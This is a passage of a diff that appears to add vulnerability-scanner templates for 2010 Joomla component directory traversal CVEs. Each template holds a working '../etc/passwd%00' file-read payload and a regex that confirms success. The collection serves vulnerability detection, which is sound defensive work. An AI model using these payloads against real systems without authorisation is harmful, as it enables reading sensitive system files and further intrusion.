- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

27
cves/2010/CVE-2010-0942.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CVE-2010-0942
info:
name: Joomla! Component com_jvideodirect - Directory Traversal
author: daffainfo
severity: high
description: Directory traversal vulnerability in the jVideoDirect (com_jvideodirect) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
reference:
- https://www.exploit-db.com/exploits/11089
- https://www.cvedetails.com/cve/CVE-2010-0942
tags: cve,cve2010,joomla,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_jvideodirect&controller=../../../../../../../../../../etc/passwd%00"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

27
cves/2010/CVE-2010-0943.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CVE-2010-0943
info:
name: Joomla! Component com_jashowcase - Directory Traversal
author: daffainfo
severity: high
description: Directory traversal vulnerability in the JA Showcase (com_jashowcase) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter in a jashowcase action to index.php.
reference:
- https://www.exploit-db.com/exploits/11090
- https://www.cvedetails.com/cve/CVE-2010-0943
tags: cve,cve2010,joomla,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_jashowcase&view=jashowcase&controller=../../../../../../../etc/passwd%00"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

27
cves/2010/CVE-2010-0944.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CVE-2010-0944
info:
name: Joomla! Component com_jcollection - Directory Traversal
author: daffainfo
severity: high
description: Directory traversal vulnerability in the JCollection (com_jcollection) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
reference:
- https://www.exploit-db.com/exploits/11088
- https://www.cvedetails.com/cve/CVE-2010-0944
tags: cve,cve2010,joomla,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_jcollection&controller=../../../../../../../etc/passwd%00"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

27
cves/2010/CVE-2010-0972.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CVE-2010-0972
info:
name: Joomla! Component com_gcalendar Suite 2.1.5 - Local File Inclusion
author: daffainfo
severity: high
description: Directory traversal vulnerability in the GCalendar (com_gcalendar) component 2.1.5 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php.
reference:
- https://www.exploit-db.com/exploits/11738
- https://www.cvedetails.com/cve/CVE-2010-0972
tags: cve,cve2010,joomla,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_gcalendar&controller=../../../../../etc/passwd%00"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

27
cves/2010/CVE-2010-0982.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CVE-2010-0982
info:
name: Joomla! Component com_cartweberp - Local File Inclusion
author: daffainfo
severity: high
description: Directory traversal vulnerability in the CARTwebERP (com_cartweberp) component 1.56.75 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
reference:
- https://www.exploit-db.com/exploits/10942
- https://www.cvedetails.com/cve/CVE-2010-0982
tags: cve,cve2010,joomla,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_cartweberp&controller=../../../../../../../../etc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

27
cves/2010/CVE-2010-0985.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CVE-2010-0985
info:
name: Joomla! Component com_abbrev - Local File Inclusion
author: daffainfo
severity: high
description: Directory traversal vulnerability in the Abbreviations Manager (com_abbrev) component 1.1 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php.
reference:
- https://www.exploit-db.com/exploits/10948
- https://www.cvedetails.com/cve/CVE-2010-0985
tags: cve,cve2010,joomla,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_abbrev&controller=../../../../../../../../../../etc/passwd%00"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

27
cves/2010/CVE-2010-1056.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CVE-2010-1056
info:
name: Joomla! Component com_rokdownloads - Local File Inclusion
author: daffainfo
severity: high
description: Directory traversal vulnerability in the RokDownloads (com_rokdownloads) component before 1.0.1 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php.
reference:
- https://www.exploit-db.com/exploits/11760
- https://www.cvedetails.com/cve/CVE-2010-1056
tags: cve,cve2010,joomla,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_rokdownloads&controller=../../../../../../../../../../etc/passwd%00"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

27
cves/2010/CVE-2010-1081.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CVE-2010-1081
info:
name: Joomla! Component com_communitypolls 1.5.2 - Local File Inclusion
author: daffainfo
severity: high
description: Directory traversal vulnerability in the Community Polls (com_communitypolls) component 1.5.2, and possibly earlier, for Core Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
reference:
- https://www.exploit-db.com/exploits/11511
- https://www.cvedetails.com/cve/CVE-2010-1081
tags: cve,cve2010,joomla,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_communitypolls&controller=../../../../../../../../../../../../../../../etc/passwd%00"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

27
cves/2010/CVE-2010-1217.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CVE-2010-1217
info:
name: Joomla! Component & Plugin JE Tooltip 1.0 - Local File Inclusion
author: daffainfo
severity: high
description: Directory traversal vulnerability in the JE Form Creator (com_jeformcr) component for Joomla!, when magic_quotes_gpc is disabled, allows remote attackers to read arbitrary files via directory traversal sequences in the view parameter to index.php. NOTE the original researcher states that the affected product is JE Tooltip, not Form Creator; however, the exploit URL suggests that Form Creator is affected.
reference:
- https://www.exploit-db.com/exploits/11814
- https://www.cvedetails.com/cve/CVE-2010-1217
tags: cve,cve2010,joomla,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_jeformcr&view=../../../../../../../../etc/passwd%00"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

26
cves/2010/CVE-2010-1219.yaml Normal file
View File

@ -0,0 +1,26 @@
id: CVE-2010-1219
info:
name: Joomla! Component com_janews - Local File Inclusion
author: daffainfo
severity: high
description: Directory traversal vulnerability in the JA News (com_janews) component 1.0 for Joomla! allows remote attackers to read arbitrary local files via a .. (dot dot) in the controller parameter to index.php.
reference:
- https://www.exploit-db.com/exploits/11757
- https://www.cvedetails.com/cve/CVE-2010-1219
tags: cve,cve2010,joomla,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_janews&controller=../../../../../../../../../../etc/passwd%00"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

27
cves/2010/CVE-2010-1302.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CVE-2010-1302
info:
name: Joomla! Component DW Graph - Local File Inclusion
author: daffainfo
severity: high
description: Directory traversal vulnerability in dwgraphs.php in the DecryptWeb DW Graphs (com_dwgraphs) component 1.0 for Joomla! allows remote attackers to read arbitrary files via directory traversal sequences in the controller parameter to index.php.
reference:
- https://www.exploit-db.com/exploits/11978
- https://www.cvedetails.com/cve/CVE-2010-1302
tags: cve,cve2010,joomla,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_dwgraphs&controller=../../../../../../../../etc/passwd%00"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

27
cves/2010/CVE-2010-1304.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CVE-2010-1304
info:
name: Joomla! Component User Status - Local File Inclusion
author: daffainfo
severity: high
description: Directory traversal vulnerability in userstatus.php in the User Status (com_userstatus) component 1.21.16 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
reference:
- https://www.exploit-db.com/exploits/11998
- https://www.cvedetails.com/cve/CVE-2010-1304
tags: cve,cve2010,joomla,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_userstatus&controller=../../../../../../../../../../etc/passwd%00"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

27
cves/2010/CVE-2010-1305.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CVE-2010-1305
info:
name: Joomla! Component JInventory 1.23.02 - Local File Inclusion
author: daffainfo
severity: high
description: Directory traversal vulnerability in jinventory.php in the JInventory (com_jinventory) component 1.23.02 and possibly other versions before 1.26.03, a module for Joomla!, allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
reference:
- https://www.exploit-db.com/exploits/12065
- https://www.cvedetails.com/cve/CVE-2010-1305
tags: cve,cve2010,joomla,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_jinventory&controller=../../../../../../../../../../etc/passwd%00"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

27
cves/2010/CVE-2010-1306.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CVE-2010-1306
info:
name: Joomla! Component Picasa 2.0 - Local File Inclusion
author: daffainfo
severity: high
description: Directory traversal vulnerability in the Picasa (com_joomlapicasa2) component 2.0 and 2.0.5 for Joomla! allows remote attackers to read arbitrary local files via a .. (dot dot) in the controller parameter to index.php.
reference:
- https://www.exploit-db.com/exploits/12058
- https://www.cvedetails.com/cve/CVE-2010-1306
tags: cve,cve2010,joomla,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_joomlapicasa2&controller=../../../../../etc/passwd%00"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

27
cves/2010/CVE-2010-1307.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CVE-2010-1307
info:
name: Joomla! Component Magic Updater - Local File Inclusion
author: daffainfo
severity: high
description: Directory traversal vulnerability in the Magic Updater (com_joomlaupdater) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
reference:
- https://www.exploit-db.com/exploits/12070
- https://www.cvedetails.com/cve/CVE-2010-1307
tags: cve,cve2010,joomla,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_joomlaupdater&controller=../../../../../../../etc/passwd%00"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

27
cves/2010/CVE-2010-1308.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CVE-2010-1308
info:
name: Joomla! Component SVMap 1.1.1 - Local File Inclusion
author: daffainfo
severity: high
description: Directory traversal vulnerability in the SVMap (com_svmap) component 1.1.1 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
reference:
- https://www.exploit-db.com/exploits/12066
- https://www.cvedetails.com/cve/CVE-2010-1308
tags: cve,cve2010,joomla,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_svmap&controller=../../../../../../../etc/passwd%00"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

27
cves/2010/CVE-2010-1312.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CVE-2010-1312
info:
name: Joomla! Component News Portal 1.5.x - Local File Inclusion
author: daffainfo
severity: high
description: Directory traversal vulnerability in the iJoomla News Portal (com_news_portal) component 1.5.x for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
reference:
- https://www.exploit-db.com/exploits/12077
- https://www.cvedetails.com/cve/CVE-2010-1312
tags: cve,cve2010,joomla,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_news_portal&controller=../../../../../../../../../../etc/passwd%00"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

27
cves/2010/CVE-2010-1313.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CVE-2010-1313
info:
name: Joomla! Component Saber Cart 1.0.0.12 - Local File Inclusion
author: daffainfo
severity: high
description: Directory traversal vulnerability in the Seber Cart (com_sebercart) component 1.0.0.12 and 1.0.0.13 for Joomla!, when magic_quotes_gpc is disabled, allows remote attackers to read arbitrary files via a .. (dot dot) in the view parameter to index.php.
reference:
- https://www.exploit-db.com/exploits/12082
- https://www.cvedetails.com/cve/CVE-2010-1313
tags: cve,cve2010,joomla,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_sebercart&view=../../../../../../../../../../etc/passwd%00"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

27
cves/2010/CVE-2010-1314.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CVE-2010-1314
info:
name: Joomla! Component Highslide 1.5 - Local File Inclusion
author: daffainfo
severity: high
description: Directory traversal vulnerability in the Highslide JS (com_hsconfig) component 1.5 and 2.0.9 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
reference:
- https://www.exploit-db.com/exploits/12086
- https://www.cvedetails.com/cve/CVE-2010-1314
tags: cve,cve2010,joomla,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_hsconfig&controller=../../../../../../../../../../etc/passwd%00"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

27
cves/2010/CVE-2010-1315.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CVE-2010-1315
info:
name: Joomla! Component webERPcustomer - Local File Inclusion
author: daffainfo
severity: high
description: Directory traversal vulnerability in weberpcustomer.php in the webERPcustomer (com_weberpcustomer) component 1.2.1 and 1.x before 1.06.02 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
reference:
- https://www.exploit-db.com/exploits/11999
- https://www.cvedetails.com/cve/CVE-2010-1315
tags: cve,cve2010,joomla,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_weberpcustomer&controller=../../../../../../../../../../etc/passwd%00"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

27
cves/2010/CVE-2010-1340.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CVE-2010-1340
info:
name: Joomla! Component com_jresearch - 'Controller' Local File Inclusion
author: daffainfo
severity: high
description: Directory traversal vulnerability in jresearch.php in the J!Research (com_jresearch) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
reference:
- https://www.exploit-db.com/exploits/33797
- https://www.cvedetails.com/cve/CVE-2010-1340
tags: cve,cve2010,joomla,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_jresearch&controller=../../../../../../../../etc/passwd%00"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

27
cves/2010/CVE-2010-1345.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CVE-2010-1345
info:
name: Joomla! Component Cookex Agency CKForms - Local File Inclusion
author: daffainfo
severity: high
description: Directory traversal vulnerability in the Cookex Agency CKForms (com_ckforms) component 1.3.3 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
reference:
- https://www.exploit-db.com/exploits/15453
- https://www.cvedetails.com/cve/CVE-2010-1345
tags: cve,cve2010,joomla,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_ckforms&controller=../../../../../../../../../../etc/passwd%00"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

27
cves/2010/CVE-2010-1352.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CVE-2010-1352
info:
name: Joomla! Component Juke Box 1.7 - Local File Inclusion
author: daffainfo
severity: high
description: Directory traversal vulnerability in the JOOFORGE Jutebox (com_jukebox) component 1.0 and 1.7 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
reference:
- https://www.exploit-db.com/exploits/12084
- https://www.cvedetails.com/cve/CVE-2010-1352
tags: cve,cve2010,joomla,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_jukebox&controller=../../../../../../../../../../etc/passwd%00"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

27
cves/2010/CVE-2010-1353.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CVE-2010-1353
info:
name: Joomla! Component LoginBox - Local File Inclusion
author: daffainfo
severity: high
description: Directory traversal vulnerability in the LoginBox Pro (com_loginbox) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the view parameter to index.php.
reference:
- https://www.exploit-db.com/exploits/12068
- https://www.cvedetails.com/cve/CVE-2010-1353
tags: cve,cve2010,joomla,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_loginbox&view=../../../../../../../../../etc/passwd%00"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

27
cves/2010/CVE-2010-1354.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CVE-2010-1354
info:
name: Joomla! Component VJDEO 1.0 - Local File Inclusion
author: daffainfo
severity: high
description: Directory traversal vulnerability in the VJDEO (com_vjdeo) component 1.0 and 1.0.1 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
reference:
- https://www.exploit-db.com/exploits/12102
- https://www.cvedetails.com/cve/CVE-2010-1354
tags: cve,cve2010,joomla,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_vjdeo&controller=../../../../../../../../../../../../../../../etc/passwd%00"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

27
cves/2010/CVE-2010-1461.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CVE-2010-1461
info:
name: Joomla! Component Photo Battle 1.0.1 - Local File Inclusion
author: daffainfo
severity: high
description: Directory traversal vulnerability in the Photo Battle (com_photobattle) component 1.0.1 for Joomla! allows remote attackers to read arbitrary files via the view parameter to index.php.
reference: |
- https://www.exploit-db.com/exploits/12232
- https://www.cvedetails.com/cve/CVE-2010-1461
tags: cve,cve2010,joomla,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_photobattle&view=../../../../../../../../../../etc/passwd%00"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

27
cves/2010/CVE-2010-1469.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CVE-2010-1469
info:
name: Joomla! Component JProject Manager 1.0 - Local File Inclusion
author: daffainfo
severity: high
description: Directory traversal vulnerability in the Ternaria Informatica JProject Manager (com_jprojectmanager) component 1.0 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impact via a .. (dot dot) in the controller parameter to index.php.
reference: |
- https://www.exploit-db.com/exploits/12146
- https://www.cvedetails.com/cve/CVE-2010-1469
tags: cve,cve2010,joomla,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_jprojectmanager&controller=../../../../../../../../../../etc/passwd%00"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

27
cves/2010/CVE-2010-1470.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CVE-2010-1470
info:
name: Joomla! Component Web TV 1.0 - Local File Inclusion
author: daffainfo
severity: high
description: Directory traversal vulnerability in the Web TV (com_webtv) component 1.0 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impact via a .. (dot dot) in the controller parameter to index.php.
reference:
- https://www.exploit-db.com/exploits/12166
- https://www.cvedetails.com/cve/CVE-2010-1470
tags: cve,cve2010,joomla,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_webtv&controller=../../../../../../../../../../etc/passwd%00"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

27
cves/2010/CVE-2010-1471.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CVE-2010-1471
info:
name: Joomla! Component Address Book 1.5.0 - Local File Inclusion
author: daffainfo
severity: high
description: Directory traversal vulnerability in the AddressBook (com_addressbook) component 1.5.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
reference:
- https://www.exploit-db.com/exploits/12170
- https://www.cvedetails.com/cve/CVE-2010-1471
tags: cve,cve2010,joomla,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_addressbook&controller=../../../../../../../../../../etc/passwd%00"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

27
cves/2010/CVE-2010-1472.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CVE-2010-1472
info:
name: Joomla! Component Horoscope 1.5.0 - Local File Inclusion
author: daffainfo
severity: high
description: Directory traversal vulnerability in the Daily Horoscope (com_horoscope) component 1.5.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
reference:
- https://www.exploit-db.com/exploits/12167
- https://www.cvedetails.com/cve/CVE-2010-1472
tags: cve,cve2010,joomla,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_horoscope&controller=../../../../../../../../../../etc/passwd%00"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

27
cves/2010/CVE-2010-1473.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CVE-2010-1473
info:
name: Joomla! Component Advertising 0.25 - Local File Inclusion
author: daffainfo
severity: high
description: Directory traversal vulnerability in the Advertising (com_advertising) component 0.25 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impact via a .. (dot dot) in the controller parameter to index.php.
reference:
- https://www.exploit-db.com/exploits/12171
- https://www.cvedetails.com/cve/CVE-2010-1473
tags: cve,cve2010,joomla,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_advertising&controller=../../../../../../../../../../etc/passwd%00"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

27
cves/2010/CVE-2010-1474.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CVE-2010-1474
info:
name: Joomla! Component Sweetykeeper 1.5 - Local File Inclusion
author: daffainfo
severity: high
description: Directory traversal vulnerability in the Sweety Keeper (com_sweetykeeper) component 1.5.x for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impact via a .. (dot dot) in the controller parameter to index.php.
reference:
- https://www.exploit-db.com/exploits/12182
- https://www.cvedetails.com/cve/CVE-2010-1474
tags: cve,cve2010,joomla,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_sweetykeeper&controller=../../../../../../../../../../etc/passwd%00"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

27
cves/2010/CVE-2010-1475.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CVE-2010-1475
info:
name: Joomla! Component Preventive And Reservation 1.0.5 - Local File Inclusion
author: daffainfo
severity: high
description: Directory traversal vulnerability in the Preventive & Reservation (com_preventive) component 1.0.5 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impact via a .. (dot dot) in the controller parameter to index.php.
reference:
- https://www.exploit-db.com/exploits/12147
- https://www.cvedetails.com/cve/CVE-2010-1475
tags: cve,cve2010,joomla,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_preventive&controller==../../../../../../../../../../etc/passwd%00"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

27
cves/2010/CVE-2010-1476.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CVE-2010-1476
info:
name: Joomla! Component AlphaUserPoints 1.5.5 - Local File Inclusion
author: daffainfo
severity: high
description: Directory traversal vulnerability in the AlphaUserPoints (com_alphauserpoints) component 1.5.5 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impact via a .. (dot dot) in the view parameter to index.php.
reference:
- https://www.exploit-db.com/exploits/12150
- https://www.cvedetails.com/cve/CVE-2010-1476
tags: cve,cve2010,joomla,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_alphauserpoints&view=../../../../../../../../../../etc/passwd%00"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

27
cves/2010/CVE-2010-1478.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CVE-2010-1478
info:
name: Joomla! Component Jfeedback 1.2 - Local File Inclusion
author: daffainfo
severity: high
description: Directory traversal vulnerability in the Ternaria Informatica Jfeedback! (com_jfeedback) component 1.2 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impact via a .. (dot dot) in the controller parameter to index.php.
reference: |
- https://www.exploit-db.com/exploits/12145
- https://www.cvedetails.com/cve/CVE-2010-1478
tags: cve,cve2010,joomla,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_jfeedback&controller=../../../../../../../../../../etc/passwd%00"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

27
cves/2010/CVE-2010-1491.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CVE-2010-1491
info:
name: Joomla! Component MMS Blog 2.3.0 - Local File Inclusion
author: daffainfo
severity: high
description: Directory traversal vulnerability in the MMS Blog (com_mmsblog) component 2.3.0 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impact via a .. (dot dot) in the controller parameter to index.php.
reference:
- https://www.exploit-db.com/exploits/12318
- https://www.cvedetails.com/cve/CVE-2010-1491
tags: cve,cve2010,joomla,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_mmsblog&controller=../../../../../../../../../../etc/passwd%00"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

27
cves/2010/CVE-2010-1494.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CVE-2010-1494
info:
name: Joomla! Component AWDwall 1.5.4 - Local File Inclusion
author: daffainfo
severity: high
description: Directory traversal vulnerability in the AWDwall (com_awdwall) component 1.5.4 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
reference:
- https://www.exploit-db.com/exploits/12113
- https://www.cvedetails.com/cve/CVE-2010-1494
tags: cve,cve2010,joomla,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_awdwall&controller=../../../../../../../../../../etc/passwd%00"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

27
cves/2010/CVE-2010-1495.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CVE-2010-1495
info:
name: Joomla! Component Matamko 1.01 - Local File Inclusion
author: daffainfo
severity: high
description: Directory traversal vulnerability in the Matamko (com_matamko) component 1.01 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
reference:
- https://www.exploit-db.com/exploits/12286
- https://www.cvedetails.com/cve/CVE-2010-1495
tags: cve,cve2010,joomla,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_matamko&controller=../../../../../../../../../../etc/passwd%00"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

27
cves/2010/CVE-2010-1531.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CVE-2010-1531
info:
name: Joomla! Component redSHOP 1.0 - Local File Inclusion
author: daffainfo
severity: high
description: Directory traversal vulnerability in the redSHOP (com_redshop) component 1.0.x for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the view parameter to index.php.
reference:
- https://www.exploit-db.com/exploits/12054
- https://www.cvedetails.com/cve/CVE-2010-1531
tags: cve,cve2010,joomla,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_redshop&view=../../../../../../../../../../../../../../../etc/passwd%00"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

27
cves/2010/CVE-2010-1532.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CVE-2010-1532
info:
name: Joomla! Component PowerMail Pro 1.5.3 - Local File Inclusion
author: daffainfo
severity: high
description: Directory traversal vulnerability in the givesight PowerMail Pro (com_powermail) component 1.5.3 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impact via a .. (dot dot) in the controller parameter to index.php.
reference:
- https://www.exploit-db.com/exploits/12118
- https://www.cvedetails.com/cve/CVE-2010-1532
tags: cve,cve2010,joomla,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_powermail&controller=../../../../../../../../../../etc/passwd%00"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200

27
cves/2010/CVE-2010-1533.yaml Normal file
View File

@ -0,0 +1,27 @@
id: CVE-2010-1533
info:
name: Joomla! Component TweetLA 1.0.1 - Local File Inclusion
author: daffainfo
severity: high
description: Directory traversal vulnerability in the TweetLA (com_tweetla) component 1.0.1 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
reference:
- https://www.exploit-db.com/exploits/12142
- https://www.cvedetails.com/cve/CVE-2010-1533
